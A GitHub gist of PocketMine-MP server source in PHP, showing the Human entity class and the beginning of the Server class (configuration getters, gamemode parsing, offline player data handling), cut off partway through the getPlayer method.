Created
December 21, 2015 07:48
-
-
Save ivand-sykt/052cb873a551bdd43994 to your computer and use it in GitHub Desktop.
Server.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* | |
* ____ _ _ __ __ _ __ __ ____ | |
* | _ \ ___ ___| | _____| |_| \/ (_)_ __ ___ | \/ | _ \ | |
* | |_) / _ \ / __| |/ / _ \ __| |\/| | | '_ \ / _ \_____| |\/| | |_) | | |
* | __/ (_) | (__| < __/ |_| | | | | | | | __/_____| | | | __/ | |
* |_| \___/ \___|_|\_\___|\__|_| |_|_|_| |_|\___| |_| |_|_| | |
* | |
* This program is free software: you can redistribute it and/or modify | |
* it under the terms of the GNU Lesser General Public License as published by | |
* the Free Software Foundation, either version 3 of the License, or | |
* (at your option) any later version. | |
* | |
* @author PocketMine Team | |
* @link http://www.pocketmine.net/ | |
* | |
* | |
*/ | |
namespace pocketmine\entity; | |
use pocketmine\inventory\InventoryHolder; | |
use pocketmine\inventory\PlayerInventory; | |
use pocketmine\item\Item as ItemItem; | |
use pocketmine\utils\UUID; | |
use pocketmine\nbt\NBT; | |
use pocketmine\nbt\tag\Byte; | |
use pocketmine\nbt\tag\Compound; | |
use pocketmine\nbt\tag\Enum; | |
use pocketmine\nbt\tag\Short; | |
use pocketmine\nbt\tag\String; | |
use pocketmine\network\Network; | |
use pocketmine\network\protocol\AddPlayerPacket; | |
use pocketmine\network\protocol\RemovePlayerPacket; | |
use pocketmine\Player; | |
class Human extends Creature implements ProjectileSource, InventoryHolder{ | |
const DATA_PLAYER_FLAG_SLEEP = 1; | |
const DATA_PLAYER_FLAG_DEAD = 2; | |
const DATA_PLAYER_FLAGS = 16; | |
const DATA_PLAYER_BED_POSITION = 17; | |
/** @var PlayerInventory */ | |
protected $inventory; | |
/** @var UUID */ | |
protected $uuid; | |
protected $rawUUID; | |
public $width = 0.6; | |
public $length = 0.6; | |
public $height = 1.8; | |
public $eyeHeight = 1.62; | |
protected $skin; | |
protected $skinflag; | |
protected $isSlim = false; | |
public function getSkinData(){ | |
return $this->skin; | |
} | |
public function getSkinFlag(){ | |
return $this->skinflag; | |
} | |
public function isSkinSlim(){ | |
return $this->isSlim; | |
} | |
/** | |
* @return UUID|null | |
*/ | |
public function getUniqueId(){ | |
return $this->uuid; | |
} | |
/** | |
* @return string | |
*/ | |
public function getRawUniqueId(){ | |
return $this->rawUUID; | |
} | |
/** | |
* @param string $str | |
* @param bool $isSlim | |
*/ | |
public function setSkin($str, $skinflag, $isSlim = false){ | |
$this->skin = $str; | |
$this->skinflag = $skinflag; | |
$this->isSlim = (bool) $isSlim; | |
} | |
public function getInventory(){ | |
return $this->inventory; | |
} | |
protected function initEntity(){ | |
$this->setDataFlag(self::DATA_PLAYER_FLAGS, self::DATA_PLAYER_FLAG_SLEEP, false); | |
$this->setDataProperty(self::DATA_PLAYER_BED_POSITION, self::DATA_TYPE_POS, [0, 0, 0]); | |
$this->inventory = new PlayerInventory($this); | |
if($this instanceof Player){ | |
$this->addWindow($this->inventory, 0); | |
} | |
if(!($this instanceof Player)){ | |
if(isset($this->namedtag->NameTag)){ | |
$this->setNameTag($this->namedtag["NameTag"]); | |
} | |
if(isset($this->namedtag->Skin) and $this->namedtag->Skin instanceof Compound){ | |
$this->setSkin($this->namedtag->Skin["Data"], $this->namedtag->Skin["Slim"] > 0); | |
} | |
$this->uuid = UUID::fromData($this->getId(), $this->getSkinData(), $this->getNameTag()); | |
} | |
if(isset($this->namedtag->Inventory) and $this->namedtag->Inventory instanceof Enum){ | |
foreach($this->namedtag->Inventory as $item){ | |
if($item["Slot"] >= 0 and $item["Slot"] < 9){ //Hotbar | |
$this->inventory->setHotbarSlotIndex($item["Slot"], isset($item["TrueSlot"]) ? $item["TrueSlot"] : -1); | |
}elseif($item["Slot"] >= 100 and $item["Slot"] < 104){ //Armor | |
$this->inventory->setItem($this->inventory->getSize() + $item["Slot"] - 100, NBT::getItemHelper($item)); | |
}else{ | |
$this->inventory->setItem($item["Slot"] - 9, NBT::getItemHelper($item)); | |
} | |
} | |
} | |
parent::initEntity(); | |
} | |
public function getName(){ | |
return $this->getNameTag(); | |
} | |
public function getDrops(){ | |
$drops = []; | |
if($this->inventory !== null){ | |
foreach($this->inventory->getContents() as $item){ | |
$drops[] = $item; | |
} | |
} | |
return $drops; | |
} | |
public function saveNBT(){ | |
parent::saveNBT(); | |
$this->namedtag->Inventory = new Enum("Inventory", []); | |
$this->namedtag->Inventory->setTagType(NBT::TAG_Compound); | |
if($this->inventory !== null){ | |
for($slot = 0; $slot < 9; ++$slot){ | |
$hotbarSlot = $this->inventory->getHotbarSlotIndex($slot); | |
if($hotbarSlot !== -1){ | |
$item = $this->inventory->getItem($hotbarSlot); | |
if($item->getId() !== 0 and $item->getCount() > 0){ | |
$tag = NBT::putItemHelper($item, $slot); | |
$tag->TrueSlot = new Byte("TrueSlot", $hotbarSlot); | |
$this->namedtag->Inventory[$slot] = $tag; | |
continue; | |
} | |
} | |
$this->namedtag->Inventory[$slot] = new Compound("", [ | |
new Byte("Count", 0), | |
new Short("Damage", 0), | |
new Byte("Slot", $slot), | |
new Byte("TrueSlot", -1), | |
new Short("id", 0), | |
]); | |
} | |
//Normal inventory | |
$slotCount = Player::SURVIVAL_SLOTS + 9; | |
//$slotCount = (($this instanceof Player and ($this->gamemode & 0x01) === 1) ? Player::CREATIVE_SLOTS : Player::SURVIVAL_SLOTS) + 9; | |
for($slot = 9; $slot < $slotCount; ++$slot){ | |
$item = $this->inventory->getItem($slot - 9); | |
$this->namedtag->Inventory[$slot] = NBT::putItemHelper($item, $slot); | |
} | |
//Armor | |
for($slot = 100; $slot < 104; ++$slot){ | |
$item = $this->inventory->getItem($this->inventory->getSize() + $slot - 100); | |
if($item instanceof ItemItem and $item->getId() !== ItemItem::AIR){ | |
$this->namedtag->Inventory[$slot] = NBT::putItemHelper($item, $slot); | |
} | |
} | |
} | |
if(strlen($this->getSkinData()) > 0){ | |
$this->namedtag->Skin = new Compound("Skin", [ | |
"Data" => new String("Data", $this->getSkinData()), | |
"Slim" => new Byte("Slim", $this->isSkinSlim() ? 1 : 0) | |
]); | |
} | |
} | |
public function spawnTo(Player $player){ | |
if($player !== $this and !isset($this->hasSpawned[$player->getLoaderId()])){ | |
$this->hasSpawned[$player->getLoaderId()] = $player; | |
if(strlen($this->skin) < 64 * 32 * 4){ | |
throw new \InvalidStateException((new \ReflectionClass($this))->getShortName() . " must have a valid skin set"); | |
} | |
if($this instanceof Player){ | |
$this->server->updatePlayerListData($this->getUniqueId(), $this->getId(), $this->getName(), $this->isSlim, $this->skin, $this->skinflag, [$player]); | |
} | |
$pk = new AddPlayerPacket(); | |
$pk->uuid = $this->getUniqueId(); | |
$pk->username = $this->getName(); | |
$pk->eid = $this->getId(); | |
$pk->x = $this->x; | |
$pk->y = $this->y; | |
$pk->z = $this->z; | |
$pk->speedX = $this->motionX; | |
$pk->speedY = $this->motionY; | |
$pk->speedZ = $this->motionZ; | |
$pk->yaw = $this->yaw; | |
$pk->pitch = $this->pitch; | |
$pk->item = $this->getInventory()->getItemInHand(); | |
$pk->metadata = $this->dataProperties; | |
$player->dataPacket($pk); | |
$this->inventory->sendArmorContents($player); | |
if(!($this instanceof Player)){ | |
$this->server->removePlayerListData($this->getUniqueId(), [$player]); | |
} | |
} | |
} | |
public function despawnFrom(Player $player){ | |
if(isset($this->hasSpawned[$player->getLoaderId()])){ | |
$pk = new RemovePlayerPacket(); | |
$pk->eid = $this->getId(); | |
$pk->clientId = $this->getUniqueId(); | |
$player->dataPacket($pk); | |
unset($this->hasSpawned[$player->getLoaderId()]); | |
} | |
} | |
public function close(){ | |
if(!$this->closed){ | |
if(!($this instanceof Player) or $this->loggedIn){ | |
foreach($this->inventory->getViewers() as $viewer){ | |
$viewer->removeWindow($this->inventory); | |
} | |
} | |
parent::close(); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* | |
* ____ _ _ __ __ _ __ __ ____ | |
* | _ \ ___ ___| | _____| |_| \/ (_)_ __ ___ | \/ | _ \ | |
* | |_) / _ \ / __| |/ / _ \ __| |\/| | | '_ \ / _ \_____| |\/| | |_) | | |
* | __/ (_) | (__| < __/ |_| | | | | | | | __/_____| | | | __/ | |
* |_| \___/ \___|_|\_\___|\__|_| |_|_|_| |_|\___| |_| |_|_| | |
* | |
* This program is free software: you can redistribute it and/or modify | |
* it under the terms of the GNU Lesser General Public License as published by | |
* the Free Software Foundation, either version 3 of the License, or | |
* (at your option) any later version. | |
* | |
* @author PocketMine Team | |
* @link http://www.pocketmine.net/ | |
* | |
* | |
*/ | |
/** | |
* PocketMine-MP is the Minecraft: PE multiplayer server software | |
* Homepage: http://www.pocketmine.net/ | |
*/ | |
namespace pocketmine; | |
use pocketmine\block\Block; | |
use pocketmine\command\CommandReader; | |
use pocketmine\command\CommandSender; | |
use pocketmine\command\ConsoleCommandSender; | |
use pocketmine\command\PluginIdentifiableCommand; | |
use pocketmine\command\SimpleCommandMap; | |
use pocketmine\entity\Arrow; | |
use pocketmine\entity\Attribute; | |
use pocketmine\entity\Effect; | |
use pocketmine\entity\Entity; | |
use pocketmine\entity\FallingSand; | |
use pocketmine\entity\Human; | |
use pocketmine\entity\Item as DroppedItem; | |
use pocketmine\entity\PrimedTNT; | |
use pocketmine\entity\Snowball; | |
use pocketmine\entity\Bat; | |
use pocketmine\entity\Blaze; | |
use pocketmine\entity\Squid; | |
use pocketmine\entity\Ghast; | |
use pocketmine\entity\Villager; | |
use pocketmine\entity\Zombie; | |
use pocketmine\entity\CavernSpider; | |
use pocketmine\entity\Chicken; | |
use pocketmine\entity\Cow; | |
use pocketmine\entity\Creeper; | |
use pocketmine\entity\Enderman; | |
use pocketmine\entity\Ozelot; | |
use pocketmine\entity\Pig; | |
use pocketmine\entity\PigZombie; | |
use pocketmine\entity\Rabbit; | |
use pocketmine\entity\Sheep; | |
use pocketmine\entity\Silverfish; | |
use pocketmine\entity\Skeleton; | |
use pocketmine\entity\Slime; | |
use pocketmine\entity\Spider; | |
use pocketmine\entity\MagmaCube; | |
use pocketmine\entity\Mooshroom; | |
use pocketmine\entity\Wolf; | |
use pocketmine\event\HandlerList; | |
use pocketmine\event\level\LevelInitEvent; | |
use pocketmine\event\level\LevelLoadEvent; | |
use pocketmine\event\server\QueryRegenerateEvent; | |
use pocketmine\event\server\ServerCommandEvent; | |
use pocketmine\event\Timings; | |
use pocketmine\event\TimingsHandler; | |
use pocketmine\event\TranslationContainer; | |
use pocketmine\inventory\CraftingManager; | |
use pocketmine\inventory\InventoryType; | |
use pocketmine\inventory\Recipe; | |
use pocketmine\inventory\ShapedRecipe; | |
use pocketmine\inventory\ShapelessRecipe; | |
use pocketmine\item\enchantment\Enchantment; | |
use pocketmine\item\Item; | |
use pocketmine\lang\BaseLang; | |
use pocketmine\level\format\anvil\Anvil; | |
use pocketmine\level\format\leveldb\LevelDB; | |
use pocketmine\level\format\LevelProviderManager; | |
use pocketmine\level\format\mcregion\McRegion; | |
use pocketmine\level\generator\biome\Biome; | |
use pocketmine\level\generator\Flat; | |
use pocketmine\level\generator\Generator; | |
use pocketmine\level\generator\hell\Nether; | |
use pocketmine\level\generator\normal\Normal; | |
use pocketmine\level\Level; | |
use pocketmine\metadata\EntityMetadataStore; | |
use pocketmine\metadata\LevelMetadataStore; | |
use pocketmine\metadata\PlayerMetadataStore; | |
use pocketmine\nbt\NBT; | |
use pocketmine\nbt\tag\Byte; | |
use pocketmine\nbt\tag\Compound; | |
use pocketmine\nbt\tag\Double; | |
use pocketmine\nbt\tag\Enum; | |
use pocketmine\nbt\tag\Float; | |
use pocketmine\nbt\tag\Int; | |
use pocketmine\nbt\tag\Long; | |
use pocketmine\nbt\tag\Short; | |
use pocketmine\nbt\tag\String; | |
use pocketmine\network\CompressBatchedTask; | |
use pocketmine\network\Network; | |
use pocketmine\network\protocol\BatchPacket; | |
use pocketmine\network\protocol\CraftingDataPacket; | |
use pocketmine\network\protocol\DataPacket; | |
use pocketmine\network\protocol\PlayerListPacket; | |
use pocketmine\network\query\QueryHandler; | |
use pocketmine\network\RakLibInterface; | |
use pocketmine\network\rcon\RCON; | |
use pocketmine\network\SourceInterface; | |
use pocketmine\network\upnp\UPnP; | |
use pocketmine\permission\BanList; | |
use pocketmine\permission\DefaultPermissions; | |
use pocketmine\plugin\PharPluginLoader; | |
use pocketmine\plugin\Plugin; | |
use pocketmine\plugin\PluginLoadOrder; | |
use pocketmine\plugin\PluginManager; | |
use pocketmine\plugin\ScriptPluginLoader; | |
use pocketmine\scheduler\FileWriteTask; | |
use pocketmine\scheduler\SendUsageTask; | |
use pocketmine\scheduler\ServerScheduler; | |
use pocketmine\tile\Chest; | |
use pocketmine\tile\EnchantTable; | |
use pocketmine\tile\Furnace; | |
use pocketmine\tile\Sign; | |
use pocketmine\tile\Tile; | |
use pocketmine\updater\AutoUpdater; | |
use pocketmine\utils\Binary; | |
use pocketmine\utils\Config; | |
use pocketmine\utils\LevelException; | |
use pocketmine\utils\MainLogger; | |
use pocketmine\utils\ServerException; | |
use pocketmine\utils\ServerKiller; | |
use pocketmine\utils\Terminal; | |
use pocketmine\utils\TextFormat; | |
use pocketmine\utils\TextWrapper; | |
use pocketmine\utils\Utils; | |
use pocketmine\utils\UUID; | |
use pocketmine\utils\VersionString; | |
/** | |
* The class that manages everything | |
*/ | |
class Server{ | |
const BROADCAST_CHANNEL_ADMINISTRATIVE = "pocketmine.broadcast.admin"; | |
const BROADCAST_CHANNEL_USERS = "pocketmine.broadcast.user"; | |
/** @var Server */ | |
private static $instance = \null; | |
/** @var BanList */ | |
private $banByName = \null; | |
/** @var BanList */ | |
private $banByIP = \null; | |
/** @var Config */ | |
private $operators = \null; | |
/** @var Config */ | |
private $whitelist = \null; | |
/** @var bool */ | |
private $isRunning = \true; | |
private $hasStopped = \false; | |
/** @var PluginManager */ | |
private $pluginManager = \null; | |
private $profilingTickRate = 20; | |
/** @var AutoUpdater */ | |
private $updater = \null; | |
/** @var ServerScheduler */ | |
private $scheduler = \null; | |
/** | |
* Counts the ticks since the server start | |
* | |
* @var int | |
*/ | |
private $tickCounter; | |
private $nextTick = 0; | |
private $tickAverage = [20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20]; | |
private $useAverage = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; | |
private $maxTick = 20; | |
private $maxUse = 0; | |
private $sendUsageTicker = 0; | |
private $dispatchSignals = \false; | |
/** @var \AttachableThreadedLogger */ | |
private $logger; | |
/** @var MemoryManager */ | |
private $memoryManager; | |
/** @var CommandReader */ | |
private $console = \null; | |
private $consoleThreaded; | |
/** @var SimpleCommandMap */ | |
private $commandMap = \null; | |
/** @var CraftingManager */ | |
private $craftingManager; | |
/** @var ConsoleCommandSender */ | |
private $consoleSender; | |
/** @var int */ | |
private $maxPlayers; | |
/** @var bool */ | |
private $autoSave; | |
/** @var RCON */ | |
private $rcon; | |
/** @var EntityMetadataStore */ | |
private $entityMetadata; | |
/** @var PlayerMetadataStore */ | |
private $playerMetadata; | |
/** @var LevelMetadataStore */ | |
private $levelMetadata; | |
/** @var Network */ | |
private $network; | |
private $networkCompressionAsync = \true; | |
public $networkCompressionLevel = 7; | |
private $autoTickRate = \true; | |
private $autoTickRateLimit = 20; | |
private $alwaysTickPlayers = \false; | |
private $baseTickRate = 1; | |
private $autoSaveTicker = 0; | |
private $autoSaveTicks = 6000; | |
/** @var BaseLang */ | |
private $baseLang; | |
private $forceLanguage = \false; | |
private $serverID; | |
private $autoloader; | |
private $filePath; | |
private $dataPath; | |
private $pluginPath; | |
private $uniquePlayers = []; | |
/** @var QueryHandler */ | |
private $queryHandler; | |
/** @var QueryRegenerateEvent */ | |
private $queryRegenerateTask = \null; | |
/** @var Config */ | |
private $properties; | |
private $propertyCache = []; | |
/** @var Config */ | |
private $config; | |
/** @var Config */ | |
private $mobConfig; | |
/** @var Player[] */ | |
private $players = []; | |
/** @var Player[] */ | |
private $playerList = []; | |
private $identifiers = []; | |
/** @var Level[] */ | |
private $levels = []; | |
/** @var Level */ | |
private $levelDefault = \null; | |
/** | |
* @return string | |
*/ | |
public function getName(){ | |
return "PocketMine-MP"; | |
} | |
/** | |
* @return bool | |
*/ | |
public function isRunning(){ | |
return $this->isRunning === \true; | |
} | |
/** | |
* @return string | |
*/ | |
public function getPocketMineVersion(){ | |
return \pocketmine\VERSION; | |
} | |
/** | |
* @return string | |
*/ | |
public function getCodename(){ | |
return \pocketmine\CODENAME; | |
} | |
/** | |
* @return string | |
*/ | |
public function getVersion(){ | |
return \pocketmine\MINECRAFT_VERSION; | |
} | |
/** | |
* @return string | |
*/ | |
public function getApiVersion(){ | |
return \pocketmine\API_VERSION; | |
} | |
/** | |
* @return string | |
*/ | |
public function getFilePath(){ | |
return $this->filePath; | |
} | |
/** | |
* @return string | |
*/ | |
public function getDataPath(){ | |
return $this->dataPath; | |
} | |
/** | |
* @return string | |
*/ | |
public function getPluginPath(){ | |
return $this->pluginPath; | |
} | |
/** | |
* @return int | |
*/ | |
public function getMaxPlayers(){ | |
return $this->maxPlayers; | |
} | |
/** | |
* @return int | |
*/ | |
public function getPort(){ | |
return $this->getConfigInt("server-port", 19132); | |
} | |
/** | |
* @return int | |
*/ | |
public function getViewDistance(){ | |
return \max(56, $this->getProperty("chunk-sending.max-chunks", 256)); | |
} | |
/** | |
* @return string | |
*/ | |
public function getIp(){ | |
return $this->getConfigString("server-ip", "0.0.0.0"); | |
} | |
/** | |
* @deprecated | |
*/ | |
public function getServerName(){ | |
return $this->getConfigString("motd", "Minecraft: PE Server"); | |
} | |
public function getServerUniqueId(){ | |
return $this->serverID; | |
} | |
/** | |
* @return bool | |
*/ | |
public function getAutoSave(){ | |
return $this->autoSave; | |
} | |
/** | |
* @param bool $value | |
*/ | |
public function setAutoSave($value){ | |
$this->autoSave = (bool) $value; | |
foreach($this->getLevels() as $level){ | |
$level->setAutoSave($this->autoSave); | |
} | |
} | |
/** | |
* @return string | |
*/ | |
public function getLevelType(){ | |
return $this->getConfigString("level-type", "DEFAULT"); | |
} | |
/** | |
* @return bool | |
*/ | |
public function getGenerateStructures(){ | |
return $this->getConfigBoolean("generate-structures", \true); | |
} | |
/** | |
* @return int | |
*/ | |
public function getGamemode(){ | |
return $this->getConfigInt("gamemode", 0) & 0b11; | |
} | |
/** | |
* @return bool | |
*/ | |
public function getForceGamemode(){ | |
return $this->getConfigBoolean("force-gamemode", \false); | |
} | |
/** | |
* Returns the gamemode text name | |
* | |
* @param int $mode | |
* | |
* @return string | |
*/ | |
public static function getGamemodeString($mode){ | |
switch((int) $mode){ | |
case Player::SURVIVAL: | |
return "%gameMode.survival"; | |
case Player::CREATIVE: | |
return "%gameMode.creative"; | |
case Player::ADVENTURE: | |
return "%gameMode.adventure"; | |
case Player::SPECTATOR: | |
return "%gameMode.spectator"; | |
} | |
return "UNKNOWN"; | |
} | |
/** | |
* Parses a string and returns a gamemode integer, -1 if not found | |
* | |
* @param string $str | |
* | |
* @return int | |
*/ | |
public static function getGamemodeFromString($str){ | |
switch(\strtolower(\trim($str))){ | |
case (string) Player::SURVIVAL: | |
case "survival": | |
case "s": | |
return Player::SURVIVAL; | |
case (string) Player::CREATIVE: | |
case "creative": | |
case "c": | |
return Player::CREATIVE; | |
case (string) Player::ADVENTURE: | |
case "adventure": | |
case "a": | |
return Player::ADVENTURE; | |
case (string) Player::SPECTATOR: | |
case "spectator": | |
case "view": | |
case "v": | |
return Player::SPECTATOR; | |
} | |
return -1; | |
} | |
/** | |
* @param string $str | |
* | |
* @return int | |
*/ | |
public static function getDifficultyFromString($str){ | |
switch(\strtolower(\trim($str))){ | |
case "0": | |
case "peaceful": | |
case "p": | |
return 0; | |
case "1": | |
case "easy": | |
case "e": | |
return 1; | |
case "2": | |
case "normal": | |
case "n": | |
return 2; | |
case "3": | |
case "hard": | |
case "h": | |
return 3; | |
} | |
return -1; | |
} | |
/** | |
* @return int | |
*/ | |
public function getDifficulty(){ | |
return $this->getConfigInt("difficulty", 1); | |
} | |
/** | |
* @return bool | |
*/ | |
public function hasWhitelist(){ | |
return $this->getConfigBoolean("white-list", \false); | |
} | |
/** | |
* @return int | |
*/ | |
public function getSpawnRadius(){ | |
return $this->getConfigInt("spawn-protection", 16); | |
} | |
/** | |
* @return bool | |
*/ | |
public function getAllowFlight(){ | |
return $this->getConfigBoolean("allow-flight", \false); | |
} | |
/** | |
* @return bool | |
*/ | |
public function isHardcore(){ | |
return $this->getConfigBoolean("hardcore", \false); | |
} | |
/** | |
* @return int | |
*/ | |
public function getDefaultGamemode(){ | |
return $this->getConfigInt("gamemode", 0) & 0b11; | |
} | |
/** | |
* @return string | |
*/ | |
public function getMotd(){ | |
return $this->getConfigString("motd", "Minecraft: PE Server"); | |
} | |
/** | |
* @return \ClassLoader | |
*/ | |
public function getLoader(){ | |
return $this->autoloader; | |
} | |
/** | |
* @return \AttachableThreadedLogger | |
*/ | |
public function getLogger(){ | |
return $this->logger; | |
} | |
/** | |
* @return EntityMetadataStore | |
*/ | |
public function getEntityMetadata(){ | |
return $this->entityMetadata; | |
} | |
/** | |
* @return PlayerMetadataStore | |
*/ | |
public function getPlayerMetadata(){ | |
return $this->playerMetadata; | |
} | |
/** | |
* @return LevelMetadataStore | |
*/ | |
public function getLevelMetadata(){ | |
return $this->levelMetadata; | |
} | |
/** | |
* @return AutoUpdater | |
*/ | |
public function getUpdater(){ | |
return $this->updater; | |
} | |
/** | |
* @return PluginManager | |
*/ | |
public function getPluginManager(){ | |
return $this->pluginManager; | |
} | |
/** | |
* @return CraftingManager | |
*/ | |
public function getCraftingManager(){ | |
return $this->craftingManager; | |
} | |
/** | |
* @return ServerScheduler | |
*/ | |
public function getScheduler(){ | |
return $this->scheduler; | |
} | |
/** | |
* @return int | |
*/ | |
public function getTick(){ | |
return $this->tickCounter; | |
} | |
/** | |
* Returns the last server TPS measure | |
* | |
* @return float | |
*/ | |
public function getTicksPerSecond(){ | |
return \round($this->maxTick, 2); | |
} | |
/** | |
* Returns the last server TPS average measure | |
* | |
* @return float | |
*/ | |
public function getTicksPerSecondAverage(){ | |
return \round(\array_sum($this->tickAverage) / \count($this->tickAverage), 2); | |
} | |
/** | |
* Returns the TPS usage/load in % | |
* | |
* @return float | |
*/ | |
public function getTickUsage(){ | |
return \round($this->maxUse * 100, 2); | |
} | |
/** | |
* Returns the TPS usage/load average in % | |
* | |
* @return float | |
*/ | |
public function getTickUsageAverage(){ | |
return \round((\array_sum($this->useAverage) / \count($this->useAverage)) * 100, 2); | |
} | |
/** | |
* @deprecated | |
* | |
* @param $address | |
* @param int $timeout | |
*/ | |
public function blockAddress($address, $timeout = 300){ | |
$this->network->blockAddress($address, $timeout); | |
} | |
/** | |
* @deprecated | |
* | |
* @param $address | |
* @param $port | |
* @param $payload | |
*/ | |
public function sendPacket($address, $port, $payload){ | |
$this->network->sendPacket($address, $port, $payload); | |
} | |
/** | |
* @deprecated | |
* | |
* @return SourceInterface[] | |
*/ | |
public function getInterfaces(){ | |
return $this->network->getInterfaces(); | |
} | |
/** | |
* @deprecated | |
* | |
* @param SourceInterface $interface | |
*/ | |
public function addInterface(SourceInterface $interface){ | |
$this->network->registerInterface($interface); | |
} | |
/** | |
* @deprecated | |
* | |
* @param SourceInterface $interface | |
*/ | |
public function removeInterface(SourceInterface $interface){ | |
$interface->shutdown(); | |
$this->network->unregisterInterface($interface); | |
} | |
/** | |
* @return SimpleCommandMap | |
*/ | |
public function getCommandMap(){ | |
return $this->commandMap; | |
} | |
/** | |
* @return Player[] | |
*/ | |
public function getOnlinePlayers(){ | |
return $this->playerList; | |
} | |
public function addRecipe(Recipe $recipe){ | |
$this->craftingManager->registerRecipe($recipe); | |
} | |
/** | |
* @param string $name | |
* | |
* @return OfflinePlayer|Player | |
*/ | |
public function getOfflinePlayer($name){ | |
$name = \strtolower($name); | |
$result = $this->getPlayerExact($name); | |
if($result === \null){ | |
$result = new OfflinePlayer($this, $name); | |
} | |
return $result; | |
} | |
/** | |
* @param string $name | |
* | |
* @return Compound | |
*/ | |
public function getOfflinePlayerData($name){ | |
$name = \strtolower($name); | |
$path = $this->getDataPath() . "players/"; | |
if(\file_exists($path . "$name.dat")){ | |
try{ | |
$nbt = new NBT(NBT::BIG_ENDIAN); | |
$nbt->readCompressed(\file_get_contents($path . "$name.dat")); | |
return $nbt->getData(); | |
}catch(\Exception $e){ //zlib decode error / corrupt data | |
\rename($path . "$name.dat", $path . "$name.dat.bak"); | |
$this->logger->notice($this->getLanguage()->translateString("pocketmine.data.playerCorrupted", [$name])); | |
} | |
}else{ | |
$this->logger->notice($this->getLanguage()->translateString("pocketmine.data.playerNotFound", [$name])); | |
} | |
$spawn = $this->getDefaultLevel()->getSafeSpawn(); | |
$nbt = new Compound("", [ | |
new Long("firstPlayed", \floor(\microtime(\true) * 1000)), | |
new Long("lastPlayed", \floor(\microtime(\true) * 1000)), | |
new Enum("Pos", [ | |
new Double(0, $spawn->x), | |
new Double(1, $spawn->y), | |
new Double(2, $spawn->z) | |
]), | |
new String("Level", $this->getDefaultLevel()->getName()), | |
//new String("SpawnLevel", $this->getDefaultLevel()->getName()), | |
//new Int("SpawnX", (int) $spawn->x), | |
//new Int("SpawnY", (int) $spawn->y), | |
//new Int("SpawnZ", (int) $spawn->z), | |
//new Byte("SpawnForced", 1), //TODO | |
new Enum("Inventory", []), | |
new Compound("Achievements", []), | |
new Int("playerGameType", $this->getGamemode()), | |
new Enum("Motion", [ | |
new Double(0, 0.0), | |
new Double(1, 0.0), | |
new Double(2, 0.0) | |
]), | |
new Enum("Rotation", [ | |
new Float(0, 0.0), | |
new Float(1, 0.0) | |
]), | |
new Float("FallDistance", 0.0), | |
new Short("Fire", 0), | |
new Short("Air", 300), | |
new Byte("OnGround", 1), | |
new Byte("Invulnerable", 0), | |
new String("NameTag", $name), | |
]); | |
$nbt->Pos->setTagType(NBT::TAG_Double); | |
$nbt->Inventory->setTagType(NBT::TAG_Compound); | |
$nbt->Motion->setTagType(NBT::TAG_Double); | |
$nbt->Rotation->setTagType(NBT::TAG_Float); | |
if(\file_exists($path . "$name.yml")){ //Importing old PocketMine-MP files | |
$data = new Config($path . "$name.yml", Config::YAML, []); | |
$nbt["playerGameType"] = (int) $data->get("gamemode"); | |
$nbt["Level"] = $data->get("position")["level"]; | |
$nbt["Pos"][0] = $data->get("position")["x"]; | |
$nbt["Pos"][1] = $data->get("position")["y"]; | |
$nbt["Pos"][2] = $data->get("position")["z"]; | |
$nbt["SpawnLevel"] = $data->get("spawn")["level"]; | |
$nbt["SpawnX"] = (int) $data->get("spawn")["x"]; | |
$nbt["SpawnY"] = (int) $data->get("spawn")["y"]; | |
$nbt["SpawnZ"] = (int) $data->get("spawn")["z"]; | |
$this->logger->notice($this->getLanguage()->translateString("pocketmine.data.playerOld", [$name])); | |
foreach($data->get("inventory") as $slot => $item){ | |
if(\count($item) === 3){ | |
$nbt->Inventory[$slot + 9] = new Compound("", [ | |
new Short("id", $item[0]), | |
new Short("Damage", $item[1]), | |
new Byte("Count", $item[2]), | |
new Byte("Slot", $slot + 9), | |
new Byte("TrueSlot", $slot + 9) | |
]); | |
} | |
} | |
foreach($data->get("hotbar") as $slot => $itemSlot){ | |
if(isset($nbt->Inventory[$itemSlot + 9])){ | |
$item = $nbt->Inventory[$itemSlot + 9]; | |
$nbt->Inventory[$slot] = new Compound("", [ | |
new Short("id", $item["id"]), | |
new Short("Damage", $item["Damage"]), | |
new Byte("Count", $item["Count"]), | |
new Byte("Slot", $slot), | |
new Byte("TrueSlot", $item["TrueSlot"]) | |
]); | |
} | |
} | |
foreach($data->get("armor") as $slot => $item){ | |
if(\count($item) === 2){ | |
$nbt->Inventory[$slot + 100] = new Compound("", [ | |
new Short("id", $item[0]), | |
new Short("Damage", $item[1]), | |
new Byte("Count", 1), | |
new Byte("Slot", $slot + 100) | |
]); | |
} | |
} | |
foreach($data->get("achievements") as $achievement => $status){ | |
$nbt->Achievements[$achievement] = new Byte($achievement, $status == \true ? 1 : 0); | |
} | |
\unlink($path . "$name.yml"); | |
} | |
$this->saveOfflinePlayerData($name, $nbt); | |
return $nbt; | |
} | |
/** | |
* @param string $name | |
* @param Compound $nbtTag | |
* @param bool $async | |
*/ | |
public function saveOfflinePlayerData($name, Compound $nbtTag, $async = \false){ | |
$nbt = new NBT(NBT::BIG_ENDIAN); | |
try{ | |
$nbt->setData($nbtTag); | |
if($async){ | |
$this->getScheduler()->scheduleAsyncTask(new FileWriteTask($this->getDataPath() . "players/" . \strtolower($name) . ".dat", $nbt->writeCompressed())); | |
}else{ | |
\file_put_contents($this->getDataPath() . "players/" . \strtolower($name) . ".dat", $nbt->writeCompressed()); | |
} | |
}catch(\Exception $e){ | |
$this->logger->critical($this->getLanguage()->translateString("pocketmine.data.saveError", [$name, $e->getMessage()])); | |
if(\pocketmine\DEBUG > 1 and $this->logger instanceof MainLogger){ | |
$this->logger->logException($e); | |
} | |
} | |
} | |
/** | |
* @param string $name | |
* | |
* @return Player | |
*/ | |
public function getPlayer($name){ | |
$found = \null; | |
$name = \strtolower($name); | |
$delta = \PHP_INT_MAX; | |
foreach($this->getOnlinePlayers() as $player){ | |
if(\stripos($player->getName(), $name) === 0){ | |
